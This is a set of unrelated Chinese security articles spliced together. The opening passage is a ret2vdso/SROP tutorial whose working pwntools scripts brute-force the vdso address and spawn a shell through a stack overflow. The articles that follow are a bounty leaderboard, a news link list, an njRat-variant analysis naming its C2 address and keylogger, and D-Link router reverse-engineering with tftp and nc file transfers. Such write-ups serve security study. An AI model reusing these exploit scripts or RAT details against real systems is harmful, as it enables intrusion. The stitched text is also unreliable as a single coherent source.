0x00000792 : movsd dword ptr es:[edi], dword ptr [esi] ; ret 0xf631
0x0000104c : nop ; nop ; nop ; nop ; push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter
0x0000106d : nop ; nop ; nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x0000104d : nop ; nop ; nop ; push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter
0x0000106e : nop ; nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x0000104e : nop ; nop ; push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter
0x0000106f : nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x0000104f : nop ; push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter
0x0000103d : or al, 0x24 ; ret
0x0000061f : or al, 0x41 ; ret 0x80e
0x00001034 : or bl, byte ptr [ebx + 0x5d] ; ret
0x000007e1 : or byte ptr [ebx + 0x5e5b14c4], al ; pop edi ; pop ebp ; ret
0x00000716 : or byte ptr [ecx + 0x5eca89f0], cl ; pop edi ; pop ebp ; ret
0x00001070 : pop eax ; mov eax, 0x77 ; int 0x80
0x00001059 : pop ebp ; pop edx ; pop ecx ; ret
0x0000071d : pop ebp ; ret
0x00001035 : pop ebx ; pop ebp ; ret
0x000007e5 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0000105b : pop ecx ; ret
0x0000071c : pop edi ; pop ebp ; ret
0x0000105a : pop edx ; pop ecx ; ret
0x0000071b : pop esi ; pop edi ; pop ebp ; ret
0x00000e43 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000618 : push cs ; adc byte ptr [ebp + 0xec54704], al ; or al, 0x41 ; ret 0x80e
0x0000061e : push cs ; or al, 0x41 ; ret 0x80e
0x00001052 : push ebp ; mov ebp, esp ; sysenter
0x0000073b : push ebx ; call 0x1047
0x00001050 : push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter
0x00000739 : push edi ; push esi ; push ebx ; call 0x1049
0x00001051 : push edx ; push ebp ; mov ebp, esp ; sysenter
0x0000073a : push esi ; push ebx ; call 0x1048
0x000008c2 : push esi ; ret
0x00000819 : rcr byte ptr [ebx + 0x5e], 0x5f ; pop ebp ; ret
0x0000071e : ret
0x00000804 : ret 0x450f
0x000007b4 : ret 0x458b
0x00000b77 : ret 0x5d8b
0x00000ecf : ret 0x7d8b
0x00000621 : ret 0x80e
0x00000793 : ret 0xf631
0x000008c8 : ret 2
0x00000966 : rol dword ptr [ebx + 0x5e5b6cc4], cl ; pop edi ; pop ebp ; ret
0x0000102e : ror byte ptr [ecx - 0x76fd8b38], cl ; or bl, byte ptr [ebx + 0x5d] ; ret
0x00001041 : sbb al, 0x24 ; ret
0x00001058 : sbb byte ptr [ebp + 0x5a], 0x59 ; ret
0x00001140 : scasb al, byte ptr es:[edi] ; call 0x340ff6d3
0x00000926 : shl dword ptr [eax], 0xf ; inc ebp ; ret 0x450f
0x00001055 : sysenter
0x0000061a : test dword ptr [edi + eax*2], eax ; lds ecx, ptr [esi] ; or al, 0x41 ; ret 0x80e
0x00001145 : xor al, 0x89 ; int 0xf
0x00001056 : xor al, 0xcd ; sbb byte ptr [ebp + 0x5a], 0x59 ; ret
0x00000818 : xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
Unique gadgets found: 123
这里有123条，相比64为位的还是很多。
> 注意：不同内核，vdso会有差异。
## 利用思路
因为不同内核，vdso会有差异，所以如果我们能把vdso给读出来的，就能够直接进行利用。
### vdso的随机化特点
相比于栈和其他的ASLR，`vdso`的随机化非常的弱，对于32的系统来说，有1/256的概率命中，这正好可以作为我们的利用点。
vdso的地址存放：
pwndbg> stack
78:01e0│ 0xffffcf20 —▸ 0xf7fd5050 (__kernel_vsyscall) ◂— push ecx
79:01e4│ 0xffffcf24 ◂— 0x21 /* '!' */
7a:01e8│ 0xffffcf28 —▸ 0xf7fd4000 ◂— jg 0xf7fd4047
7b:01ec│ 0xffffcf2c ◂— 0x10
7c:01f0│ 0xffffcf30 ◂— 0xbfebfbff
7d:01f4│ 0xffffcf34 ◂— 0x6
7e:01f8│ 0xffffcf38 ◂— 0x1000
7f:01fc│ 0xffffcf3c ◂— 0x11
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x56555000 0x56556000 r-xp 1000 0 /home/ex/test/vdso_addr
0x56556000 0x56557000 r--p 1000 0 /home/ex/test/vdso_addr
0x56557000 0x56558000 rw-p 1000 1000 /home/ex/test/vdso_addr
0xf7dd6000 0xf7fab000 r-xp 1d5000 0 /lib/i386-linux-gnu/libc-2.27.so
0xf7fab000 0xf7fac000 ---p 1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fac000 0xf7fae000 r--p 2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fae000 0xf7faf000 rw-p 1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so
0xf7faf000 0xf7fb2000 rw-p 3000 0
0xf7fcf000 0xf7fd1000 rw-p 2000 0
0xf7fd1000 0xf7fd4000 r--p 3000 0 [vvar]
0xf7fd4000 0xf7fd6000 r-xp 2000 0 [vdso]
0xf7fd6000 0xf7ffc000 r-xp 26000 0 /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r--p 1000 25000 /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rw-p 1000 26000 /lib/i386-linux-gnu/ld-2.27.so
0xfffdc000 0xffffe000 rw-p 22000 0 [stack]
从上可以看出，栈上有一个地址是用来存放vdso的基地址的，但是这个地址的偏移总是汇编，所以我临时写了下面的代码进行打印查看。
// compiled: gcc -g -m32 vdso_addr.c -o vdso_addr
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
printf("vdso addr: %124$p\n");
return 0;
}
> 注意偏移值会改变
然后用下面的脚本来查看结果：
#!/usr/bin/python
# -*- coding:utf-8 -*-
import os
result = []
for i in range(100):
result += [os.popen('./vdso_addr').read()[:-1]]
result = sorted(result)
for v in result:
print (v)
在比较新的内核的运行结果如下：
ex@Ex:~/test$ python vdso_addr.py
vdso addr: 0xf7ed6000
vdso addr: 0xf7ed8000
vdso addr: 0xf7eda000
vdso addr: 0xf7edd000
vdso addr: 0xf7ee6000
vdso addr: 0xf7ee6000
vdso addr: 0xf7ee9000
vdso addr: 0xf7ee9000
vdso addr: 0xf7eee000
vdso addr: 0xf7eef000
vdso addr: 0xf7ef3000
vdso addr: 0xf7ef7000
vdso addr: 0xf7ef9000
vdso addr: 0xf7efa000
vdso addr: 0xf7efa000
vdso addr: 0xf7efb000
vdso addr: 0xf7efd000
vdso addr: 0xf7efe000
vdso addr: 0xf7f0e000
vdso addr: 0xf7f14000
vdso addr: 0xf7f1f000
vdso addr: 0xf7f21000
vdso addr: 0xf7f24000
vdso addr: 0xf7f25000
vdso addr: 0xf7f26000
vdso addr: 0xf7f2a000
vdso addr: 0xf7f2a000
vdso addr: 0xf7f2b000
vdso addr: 0xf7f34000
vdso addr: 0xf7f36000
vdso addr: 0xf7f39000
vdso addr: 0xf7f3b000
vdso addr: 0xf7f41000
vdso addr: 0xf7f47000
vdso addr: 0xf7f48000
vdso addr: 0xf7f48000
vdso addr: 0xf7f49000
vdso addr: 0xf7f49000
vdso addr: 0xf7f4a000
vdso addr: 0xf7f4b000
vdso addr: 0xf7f4d000
vdso addr: 0xf7f4e000
vdso addr: 0xf7f4e000
vdso addr: 0xf7f4f000
vdso addr: 0xf7f50000
vdso addr: 0xf7f52000
vdso addr: 0xf7f52000
vdso addr: 0xf7f53000
vdso addr: 0xf7f57000
vdso addr: 0xf7f58000
vdso addr: 0xf7f59000
vdso addr: 0xf7f5a000
vdso addr: 0xf7f5f000
vdso addr: 0xf7f5f000
vdso addr: 0xf7f60000
vdso addr: 0xf7f64000
vdso addr: 0xf7f68000
vdso addr: 0xf7f6c000
vdso addr: 0xf7f70000
vdso addr: 0xf7f72000
vdso addr: 0xf7f73000
vdso addr: 0xf7f75000
vdso addr: 0xf7f7e000
vdso addr: 0xf7f7f000
vdso addr: 0xf7f7f000
vdso addr: 0xf7f80000
vdso addr: 0xf7f88000
vdso addr: 0xf7f88000
vdso addr: 0xf7f8d000
vdso addr: 0xf7f94000
vdso addr: 0xf7f95000
vdso addr: 0xf7f95000
vdso addr: 0xf7f99000
vdso addr: 0xf7f99000
vdso addr: 0xf7f9d000
vdso addr: 0xf7f9e000
vdso addr: 0xf7fa0000
vdso addr: 0xf7fa0000
vdso addr: 0xf7fa2000
vdso addr: 0xf7fa2000
vdso addr: 0xf7fa6000
vdso addr: 0xf7faa000
vdso addr: 0xf7fac000
vdso addr: 0xf7fac000
vdso addr: 0xf7faf000
vdso addr: 0xf7fb1000
vdso addr: 0xf7fb4000
vdso addr: 0xf7fb5000
vdso addr: 0xf7fb6000
vdso addr: 0xf7fbe000
vdso addr: 0xf7fc0000
vdso addr: 0xf7fc4000
vdso addr: 0xf7fc6000
vdso addr: 0xf7fc7000
vdso addr: 0xf7fcb000
vdso addr: 0xf7fce000
vdso addr: 0xf7fce000
vdso addr: 0xf7fce000
vdso addr: 0xf7fcf000
vdso addr: 0xf7fd0000
可以看到结果在`0xf7ed0000`-`0xf7fd0000`之间。
然后在旧的内核版本的运行效果如下：
ex@ubuntu:~/test$ python3 vdso_addr.py
vdso addr: 0xf76d9000
vdso addr: 0xf76dd000
vdso addr: 0xf76de000
vdso addr: 0xf76df000
vdso addr: 0xf76e0000
vdso addr: 0xf76e2000
vdso addr: 0xf76e3000
vdso addr: 0xf76e4000
vdso addr: 0xf76ee000
vdso addr: 0xf76ef000
vdso addr: 0xf76f3000
vdso addr: 0xf76f5000
vdso addr: 0xf7702000
vdso addr: 0xf7703000
vdso addr: 0xf7707000
vdso addr: 0xf7709000
vdso addr: 0xf770a000
vdso addr: 0xf770d000
vdso addr: 0xf7710000
vdso addr: 0xf7714000
vdso addr: 0xf7716000
vdso addr: 0xf7717000
vdso addr: 0xf7718000
vdso addr: 0xf7718000
vdso addr: 0xf771a000
vdso addr: 0xf771a000
vdso addr: 0xf771b000
vdso addr: 0xf771e000
vdso addr: 0xf771f000
vdso addr: 0xf771f000
vdso addr: 0xf7720000
vdso addr: 0xf7721000
vdso addr: 0xf7721000
vdso addr: 0xf772b000
vdso addr: 0xf772c000
vdso addr: 0xf772d000
vdso addr: 0xf7733000
vdso addr: 0xf7734000
vdso addr: 0xf7735000
vdso addr: 0xf7736000
vdso addr: 0xf773b000
vdso addr: 0xf773b000
vdso addr: 0xf773b000
vdso addr: 0xf773e000
vdso addr: 0xf773e000
vdso addr: 0xf7745000
vdso addr: 0xf7745000
vdso addr: 0xf7746000
vdso addr: 0xf7746000
vdso addr: 0xf7747000
vdso addr: 0xf7749000
vdso addr: 0xf774b000
vdso addr: 0xf774d000
vdso addr: 0xf774d000
vdso addr: 0xf7758000
vdso addr: 0xf7759000
vdso addr: 0xf7761000
vdso addr: 0xf7762000
vdso addr: 0xf7764000
vdso addr: 0xf7765000
vdso addr: 0xf776d000
vdso addr: 0xf7770000
vdso addr: 0xf7774000
vdso addr: 0xf777b000
vdso addr: 0xf777c000
vdso addr: 0xf777e000
vdso addr: 0xf777f000
vdso addr: 0xf777f000
vdso addr: 0xf7780000
vdso addr: 0xf7783000
vdso addr: 0xf7784000
vdso addr: 0xf7787000
vdso addr: 0xf7789000
vdso addr: 0xf778b000
vdso addr: 0xf778e000
vdso addr: 0xf7797000
vdso addr: 0xf7798000
vdso addr: 0xf779a000
vdso addr: 0xf779b000
vdso addr: 0xf779d000
vdso addr: 0xf779f000
vdso addr: 0xf77a0000
vdso addr: 0xf77a0000
vdso addr: 0xf77a3000
vdso addr: 0xf77a8000
vdso addr: 0xf77ad000
vdso addr: 0xf77b5000
vdso addr: 0xf77b9000
vdso addr: 0xf77ba000
vdso addr: 0xf77ba000
vdso addr: 0xf77bb000
vdso addr: 0xf77bf000
vdso addr: 0xf77c2000
vdso addr: 0xf77c2000
vdso addr: 0xf77c2000
vdso addr: 0xf77c3000
vdso addr: 0xf77c6000
vdso addr: 0xf77c6000
vdso addr: 0xf77cc000
vdso addr: 0xf77ce000
可以看到结果在`0xf76d9000`-`0xf77ce000`之间。
其他情况可以自行测量。
## exploit 思路
1. 泄露出vdso
2. 利用vdso进行ROP
## 举例
我用下来这段汇编代码来举例：
### ret2vdso.s
push ebp
mov ebp, esp
sub esp, 128
lea eax, buf
push 4096
push eax
push 0
mov eax, 0
call read
add esp, 12
mov esi, eax
push esi
lea eax, buf
push eax
lea eax, -128[ebp]
push eax
call memcpy
add esp, 12
lea eax, -128[ebp]
push esi
push eax
push 1
mov eax, 0
call write
add esp, 12
mov eax, 0
mov esp, ebp
pop ebp
ret
反汇编出来结果如下：
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t size; // esi
char addr[128]; // [esp+0h] [ebp-80h]
size = read(0, buf, 0x1000u);
memcpy(addr, buf, size);
write(1, addr, size);
return 0;
}
可以看出，我预留了一个明显的栈溢出，但是这个程序是个手写汇编的程序。你没有办法依赖glibc。
ex@Ex:~/test$ ldd ret2vdso
not a dynamic executable
而且基本没有可用的ROP指令：
ex@Ex:~/test$ ROPgadget --binary ret2vdso
Gadgets information
============================================================
0x080480b2 : adc byte ptr [eax + 3], bh ; int 0x80
0x080480c9 : adc byte ptr [eax + 4], bh ; int 0x80
0x08048102 : adc byte ptr [edi - 0x21], dh ; leave ; ret
0x080480cb : add al, 0 ; add byte ptr [eax], al ; int 0x80
0x08048156 : add byte ptr [eax], al ; add byte ptr [eax], al ; mov esp, ebp ; pop ebp ; ret
0x080480a3 : add byte ptr [eax], al ; int 0x80
0x0804809c : add byte ptr [eax], al ; mov ebx, eax ; mov eax, 1 ; int 0x80
0x08048158 : add byte ptr [eax], al ; mov esp, ebp ; pop ebp ; ret
0x0804809d : add byte ptr [ecx + 0x1b8c3], cl ; add byte ptr [eax], al ; int 0x80
0x080480a1 : add dword ptr [eax], eax ; add byte ptr [eax], al ; int 0x80
0x080480b4 : add eax, dword ptr [eax] ; add byte ptr [eax], al ; int 0x80
0x080480ff : cld ; cmp dword ptr [ebp + 0x10], eax ; ja 0x80480eb ; leave ; ret
0x08048100 : cmp dword ptr [ebp + 0x10], eax ; ja 0x80480ea ; leave ; ret
0x08048104 : fxch st(0), st(1) ; ret
0x080480bb : in al, dx ; pop ebp ; ret
0x08048101 : inc ebp ; adc byte ptr [edi - 0x21], dh ; leave ; ret
0x080480fe : inc ebp ; cld ; cmp dword ptr [ebp + 0x10], eax ; ja 0x80480ec ; leave ; ret
0x080480a5 : int 0x80
0x08048103 : ja 0x80480e7 ; leave ; ret
0x08048105 : leave ; ret
0x08048155 : mov eax, 0 ; mov esp, ebp ; pop ebp ; ret
0x080480a0 : mov eax, 1 ; int 0x80
0x080480b3 : mov eax, 3 ; int 0x80
0x080480ca : mov eax, 4 ; int 0x80
0x080480fd : mov eax, dword ptr [ebp - 4] ; cmp dword ptr [ebp + 0x10], eax ; ja 0x80480ed ; leave ; ret
0x0804809e : mov ebx, eax ; mov eax, 1 ; int 0x80
0x080480b0 : mov edx, dword ptr [ebp + 0x10] ; mov eax, 3 ; int 0x80
0x080480c7 : mov edx, dword ptr [ebp + 0x10] ; mov eax, 4 ; int 0x80
0x080480ba : mov esp, ebp ; pop ebp ; ret
0x080480af : or al, 0x8b ; push ebp ; adc byte ptr [eax + 3], bh ; int 0x80
0x080480c6 : or al, 0x8b ; push ebp ; adc byte ptr [eax + 4], bh ; int 0x80
0x08048154 : or al, 0xb8 ; add byte ptr [eax], al ; add byte ptr [eax], al ; mov esp, ebp ; pop ebp ; ret
0x080480bc : pop ebp ; ret
0x080480b1 : push ebp ; adc byte ptr [eax + 3], bh ; int 0x80
0x080480c8 : push ebp ; adc byte ptr [eax + 4], bh ; int 0x80
0x0804809f : ret
Unique gadgets found: 36
这时候，不妨试试用`write`函数把vdso给读出来。
### 读取vdso
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import random
import struct
import os
import binascii
import sys
import time
context(arch='i386', os='linux')
# context.log_level = 'debug'
elf = ELF("./ret2vdso")
RANGE_VDSO = range(0xf7ed0000, 0xf7fd0000, 0x1000)
# RANGE_VDSO = range(0xf76d9000, 0xf77ce000, 0x1000)
while(True):
try:
sh = process("./ret2vdso")
vdso_addr = random.choice(RANGE_VDSO)
sh.send('a' * 132 +
p32(elf.symbols['write']) +
p32(0) +
p32(1) + # fd
p32(vdso_addr) + # buf
p32(0x2000) # count
)
sh.recvuntil(p32(0x2000))
result = sh.recvall(0.1)
if(len(result) != 0):
open('vdso.so', 'wb').write(result)
sh.close()
log.success("Success")
exit(0)
sh.close()
except Exception as e:
sh.close()
当你有了vdso之后，就可以使用里面的指令了，然后再用同样的原理进行SROP。
### SROP
ex@Ex:~/test$ objdump -T vdso.so
vdso.so: file format elf32-i386
DYNAMIC SYMBOL TABLE:
00001050 g DF .text 0000000d LINUX_2.5 __kernel_vsyscall
00000d50 g DF .text 000002b2 LINUX_2.6 __vdso_gettimeofday
00001070 g DF .text 00000009 LINUX_2.5 __kernel_sigreturn
00001010 g DF .text 00000028 LINUX_2.6 __vdso_time
00000000 g DO *ABS* 00000000 LINUX_2.5 LINUX_2.5
00001080 g DF .text 00000008 LINUX_2.5 __kernel_rt_sigreturn
00000820 g DF .text 0000052f LINUX_2.6 __vdso_clock_gettime
00000000 g DO *ABS* 00000000 LINUX_2.6 LINUX_2.6
我们可以直接使用现成的`__kernel_rt_sigreturn`调用。
### getshell脚本
在getshell之前，必须先把vdso.so给读出来，不同的系统vdso.so是不同的。所以我们必须要读出靶机的vdso.so才行。
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import random
import struct
import os
import binascii
import sys
import time
context(arch='i386', os='linux')
# context.log_level = 'debug'
elf = ELF("./ret2vdso")
# 这个文件需要先用脚本读出来
vdso = ELF("./vdso.so")
str_bin_sh_offset = 0x200
str_bin_sh_addr = elf.symbols['buf'] + str_bin_sh_offset
# 0x080480a5 : int 0x80
int_0x80 = 0x080480a5
# Creating a custom frame
frame = SigreturnFrame(kernel='i386')
frame.eax = constants.SYS_execve
frame.ebx = str_bin_sh_addr
frame.ecx = 0
frame.edx = 0
frame.eip = int_0x80
# 注意这里的值也要设置，否则会crash
frame.cs = 35
frame.ss = 43
frame.ds = 43
frame.es = 43
frame.gs = 0
frame.fs = 0
RANGE_VDSO = range(0xf7ed0000, 0xf7fd0000, 0x1000)
# RANGE_VDSO = range(0xf76d9000, 0xf77ce000, 0x1000)
sh = None
while(True):
sh = process("./ret2vdso")
vdso_addr = random.choice(RANGE_VDSO)
payload = 'a'*128 + p32(0) + \
p32(vdso_addr + vdso.symbols['__kernel_rt_sigreturn']) + \
'c' * 40 * 4 + str(frame) # 并不知道这里为什么要偏移 160 个字节，有点迷
payload = payload.ljust(str_bin_sh_offset, '\x00') + '/bin/sh\x00'
sh.send(payload)
sh.recvuntil('/bin/sh\x00')
sh.sendline('echo hello')
result = ''
# 这里不能用 recvall 否则，即使得到了shell，也会crash
try:
result = sh.recv()
except Exception as e:
pass
if(len(result) != 0):
log.success("Success")
sh.interactive()
exit(0)
sh.close()
上面有几点我需要重点提一下。
第一点：
> frame 在 32 位的时候一定要 kernel='i386' ，而且 cs、ds、ss、es的值一定要正确，否则会crash。
第二点：
> recvall 极易导致 EOFerror，建议不要使用，否则，即使得到了shell，也会crash
第三点：
> 对于payload中，为什么要偏移'c' _40_ 4，这个我也不是很清楚，都是调试出来的。
### 运行实例：
ex@Ex:~/test$ python2 getshell.py
[*] '/home/ex/test/ret2vdso'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[!] Did not find any GOT entries
[*] '/home/ex/test/vdso.so'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[*] Process './ret2vdso' stopped with exit code -11 (SIGSEGV) (pid 31629)
[+] Starting local process './ret2vdso': pid 31633
[*] Process './ret2vdso' stopped with exit code -11 (SIGSEGV) (pid 31633)
[+] Starting local process './ret2vdso': pid 31636
[*] Process './ret2vdso' stopped with exit code -11 (SIGSEGV) (pid 31636)
[+] Starting local process './ret2vdso': pid 31639
[+] Success
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$
## 总结
又踩了不少坑，或许坑踩多了，就习惯了吧。 | 社区文章 |
亲爱的白帽子，
12月份先知众测月度奖励获奖公告如下，恭喜以下得奖的白帽子。
2017年1月份，月度奖励继续哦~~
第1名：Gr36_，积分1570，奖励人民币税后10000元。
第2名：bey0nd，积分1560，奖励人民币8000元。
第3名：又一城，积分1140，奖励人民币税后7000元。
第4名：applychen，积分800，奖励人民币6000元。
第5名：硬糖，积分725，奖励人民币税后5000元。
第6名：我爱吃包子，积分495，奖励人民币税后4000元。
第7名：X，积分490，奖励人民币税后3000元。
第8名：狼王愣愣，积分460，奖励人民币2000元。
第9名：影，积分450，奖励人民币税后1000元。
第10名：komas，积分400，奖励人民币500元。
*积分相同按照先达到积分的时间排名。 | 社区文章 |
# 【知识】10月22日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：CVE-2017-15670, CVE-2017-15671 glibc在glob.c的堆溢出、 CVE-2017-5133: Google
Chrome PDFium TIFF off-by-one读/写漏洞（可导致命令执行和信息泄露）、看我如何一步一步发现TP-Link路由器的远程代码执行(CVE-2017-13772) ** **、 验证Zimperium移动端机器学习恶意软件检测的结果、**
**如何通过USB完全接管系统******
**
**
**资讯类：**
****
CVE-2017-15670, CVE-2017-15671 glibc在glob.c的堆溢出
<http://seclists.org/oss-sec/2017/q4/119>
加拿大间谍机构发布其网络防御工具
<https://www.hackread.com/canadas-spy-agency-releases-its-cyber-defense-tool-for-public/>
**技术类：**
****
如何通过USB完全接管系统
<http://blog.ptsecurity.com/2017/10/how-to-obtaining-full-system-access-via.html>
CVE-2017-5133: Google Chrome PDFium TIFF off-by-one读/写漏洞（可导致命令执行和信息泄露）
（影响范围 Google Chrome <= **60.0.3112.101**
漏洞存在于Chrome的Pdfium TIFF图像解码功能，可由victim在Chrome中打开恶意构造的PDF文件触发）
<https://www.talosintelligence.com/reports/TALOS-2017-0432>
验证Zimperium移动端机器学习恶意软件检测的结果
<https://blog.zimperium.com/validating-machine-learning-detection-mobile-malware/>
The First PS4 Kernel Exploit: Adieu
<https://fail0verflow.com/blog/2017/ps4-namedobj-exploit/>
看我如何一步一步发现TP-Link路由器的远程代码执行(CVE-2017-13772)
<https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/>
Hack the BTRSys1 VM (Boot2Root Challenge)
<http://www.hackingarticles.in/hack-btrsys1-vm-boot2root-challenge/>
Seccubus：简易自动漏洞扫描、报告、分析工具（可结合Nessus、OpenVAS、Nikto、NMap等）
<http://www.kitploit.com/2017/10/seccubus-easy-automated-vulnerability.html> | 社区文章 |
# 胆小者慎入！比鬼片还刺激！且听“诡娃”远控的这首惊魂曲
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近日，360云安全系统发现一款名为“诡娃”的远控木马，正通过钓鱼软件、网页挂马等多渠道扩散。“诡娃”除了能进行操控中招电脑等行为外，还会通过控制指令让中招机器弹出惊悚的鬼怪flash动画，再加上动画里突如其来的尖叫声，骇人程度不输恐怖大片！
经分析，”诡娃”是基于Njrat
0.7修改。(Njrat,又称Bladabindi，该木马家族使用C#编写，是一个典型的RAT类程序，通过控制端可以操作受控端的文件、进程、服务、注册表内容、键盘记录等，也可以盗取受控端的浏览器里保存的密码信息等内容。此外，还具有远程屏幕抓取，木马客户端升级等功能。Njrat采用了插件机制，通过使用不同的插件来扩展新的木马功能。)
被控端木马程序的总体代码结构如下图所示：
图1
创建互斥体，保证只运行进程的一个实例，在这里互斥体名称为：Windows Update
图2
图3
木马的Main函数入口调用了Ok类的ko方法，该方法中首先对连接远端的地址及端口进行
特殊字符替换再Base64解码后得到连接的地址及端口：
特殊字符替换相关代码：
图4
连接远程地址端口：
图5
图6
图7
进行特殊字符替换后再Base64解码最终得到通信地址为：212.115.232.229:5552,
最终njRat会与该地址进行通信执行控制端发送的各种指令。
图8
**通过其代码可以看出其具备执行入侵者的指令对中木马机器进行以下一些操控：**
* 更改Windows桌面壁纸;
* 关闭或重新启动计算机;
* 用指定的文本显示系统消息;
* 更改鼠标左右按键;
* 使用语音合成器对其指定的短语进行播放;
* 隐藏或重新打开Windows任务栏;
* 打开或关闭光驱;
* 打开或关闭显示器;
* 在浏览器中打开一个页面(内置了3个恐怖flash动画地址);
* 读取，安装或删除系统注册表的指定键值;
* 接收并向控制服务器发送屏幕截图;
* 下载并运行指定的程序文件;
* 更新或删除木马的程序文件
这里面最危险的功能之一是内置的键盘记录器，它可以记住中招用户的键盘操作。并根据命令，将这些数据回传到攻击者的服务器：
**键盘记录功能：**
键盘记录部分代码片断：
图9
图10
图11
其它功能模在此不一一列举；
另外这里发现一个有趣的现象：如果服务端下发三个特殊指令：中木马机器将会自动弹出三个恐怖吓人的Flash动画并伴有极为恐怖的声音：
图12
高能预警！以下配图可能引起不适，请慎重下拉！
高能预警！以下配图可能引起不适，请慎重下拉！
高能预警！以下配图可能引起不适，请慎重下拉！
Scary1
图13
Scary2
图14
Scary3
图15
在木马普遍追求商业利益的今天，这类以恐吓或让用户难堪的恶作剧手段已不常见。但值得注意的是，该木马具备随时更新升级的功能，其背后是否还隐藏着其他破坏企图也未可知。
对抗该类木马，需要弹幕强力护体模式，目前，360安全卫士无需升级就能强势拦截“诡娃”木马，温馨提醒各位网民，尤其是胆小用户，尽快开启防护，免受惊魂。
图16 | 社区文章 |
**作者：小黑猪@平安银河安全实验室
公众号：<https://mp.weixin.qq.com/s/rT53P9EW4xLFV9JLbnLroQ>**
### 1\. 设备基础信息
设备硬件: D-Link 816-A2
固件版本: 1.11
固件下载地址:
<http://forums.dlink.com/index.php?topic=74118.0>
### 2\. 基础准备工作
#### 2.1. 焊接UART接口获取shell
通过拆卸焊接UART接口并测量电压后可以得到如下图所示的UART接口线序。
通过连接串口转换器后，可以使用任意串口管理软件连接转换器查看信息，通过串口可以看到D-Link路由器启动时的引导信息
等系统成功引导以后按下回车键就就可以拿到root权限的shell了。
#### 2.2. 上传测试工具
D-Link 816-A2路由器的busybox shell经过了裁剪，没有 **wget** ， **curl** ， **netcat**
等各种方便上传工具的命令，只能通过 **tftp**
命令进行上传。因此这边可以考虑通过上传一个针对路由器CPU架构静态编译的busybox后即可使用更多的通用命令了。
\# 在本机上用python运行tftp, 可以使用pip安装
sudo ptftpd -p 69 en7 -D ./static_tools
sudo ptftpd -r -p 69 en7 -D ./# 上传静态编译的mips工具
tftp -g -r mips/busybox.mipsel 192.168.0.200
tftp -g -r mips/gdbserver.mipsle 192.168.0.200# 赋予工具可执行权限
chmod +x ./*
#### 2.3. 打包系统文件
在上传了新的busybox后即可使用tar命令对原始的系统文件进行打包。在对打包数据进行回传后即可对程序进行调试和逆向分析了。
# 打包命令
./busybox-mipsel tar -cvf ./system_backup.tar / --exclude=proc --exclude=run - -exclude=dev --exclude=mnt --exclude=sys
# 回传打包的数据
# 在自己本机上运行
nc -l 8080 > system_backup.tar
# 在路由器上执行
./busybox-mipsel nc 192.168.0.200 8080 < system_backup.tar
至此我们已经成功的获取到路由器的内部文件，可以进一步的堆路由器进行深入分析了。
### 3\. D-Link web管理页面分析
D-Link的Web管理页面是由 **goahead** 进程提供的，该进程监听TCP的80端口并提供路由器的管理功能。
#### 3.1 管理页面权限验证方法分析
D-Link的登录页面如下图所示。
输入账号密码后，将会向 **goform/formLogin** 接口发送如下图所示的数据包进行验证。从数据包中可以看到关键的参数有
**username** ， **password** 以及 **tokenid** ，其中 **username** 使用了base64进行编码，
**password** 则进行了某种加密。
有趣的是在成功认证后，服务器并没有返回session或者Cookie相关的数据，仅仅返回了一个重定向到index页面的数据包。
通过对 **goahead** 程序的 **goform/formLogin** 接口函数进行分析可以看到在验证过程中函数首先会从nvram中读取
**Login** 及 **Password** 等参数。
随后调用 **websGetVar** 函数从我们发送的请求数据中获取 **username** , **password** , **tokenid**
参数的值。
之后将解析完成的，账号密码信息与nvram中保存的账号密码信息进行比对。
如下图所示，当判断认证成功时将会记录用户的IP地址至BSS区的变量 **load_host** 中并修改 **login** 变量为1，失败则会将1写入
**/etc/RAMConfig/confirmlogin** 文件中，并重定向用户到登录页面。
在更新BSS区的变量 **load_host** 后则会检测lan口和wan口的状态并返回对应的登录页面，随后将0写入
**/etc/RAMConfig/confirmlogin** 文件中。
通过上述的分析，实际上D-Link路由器在认证成功后仅仅记录了成功登录的用户IP地址，随后将是否需要验证登录的Flag文件内容设置为了0。
随后我们可以看一下 **goahead** 程序对于不同的url请求所使用的Handler，根据不同的url路径 **goahead**
进程将使用不同的Handler进行处理。下面可以看到有两个全局Handler, **websSecurityHandler** 和
**websDefaultHandler。**
首先我们对默认的全局Handler函数 **websDefaultHandler** 进行分析。 **websDefaultHandler** 会调用
**websValidateUrl** 函数对请求的url地址进行检测，主要的功能是对转义符号进行处理并避免' **../'** 路径穿越的问题。
随后以'\'为分割符，循环遍历url中的路径，根据../及正常路径计算路径深度，避免出现 **../** 越界的情况。若是
**websValidateUrl** 合法，则将继续进行后续处理。
用户访问管理页面时D-Link对全局认证状态的检测过程就在 **websSecurityHandler**
